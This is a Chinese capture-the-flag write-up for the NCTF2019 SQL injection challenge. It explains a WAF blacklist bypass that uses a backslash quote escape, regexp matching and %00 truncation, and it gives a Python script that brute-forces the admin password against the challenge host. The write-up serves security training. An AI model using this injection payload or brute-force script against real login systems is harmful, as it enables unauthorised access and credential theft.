[NCTF2019]SQLi 
进入页面,尝试万能密码登录:  觉得有waf,爆破一下  发现过滤了相当多的可用字符串  另外在robots.txt文件中有提示     
再进入hint.txt     
看到了黑名单,并且说要让查找admin的密码,  但是admin在黑名单中,只能进行正则匹配了。  单引号注释符全被过滤了。  
sqlquery : select * from users where username='' and passwd=''
  
想要正则只能在单独进行,想到把将username后一个单引号进行转义,将’ and passwd='就包裹在了username中,然后再进行正则爆破admin的密码。  
payload:select * from users where username='\' and passwd='||passwdregexp\"^a\";%00'
  
%00注释  符号并非MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。 (比如文件上传中的00截断漏洞)另外在Python脚本中的使用:Python访问浏览器,会进行一次URL编码, 因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00就需要进行格式处理。  爆破baipiao脚本:  
import requests
from urllib import parse
import string
url = 'http://0d2e94ef-58b4-43f4-b07d-a43981fba18d.node4.buuoj.cn:81/'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
        }
        print(result+j)
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            result += j
            break
        if j=='_' and 'welcome' not in res.text:
            break
  
脚本参考     
使用任意用户和爆破出的密码登录,拿到flag。  
  
                
                
                
        
        
    
  
 
 |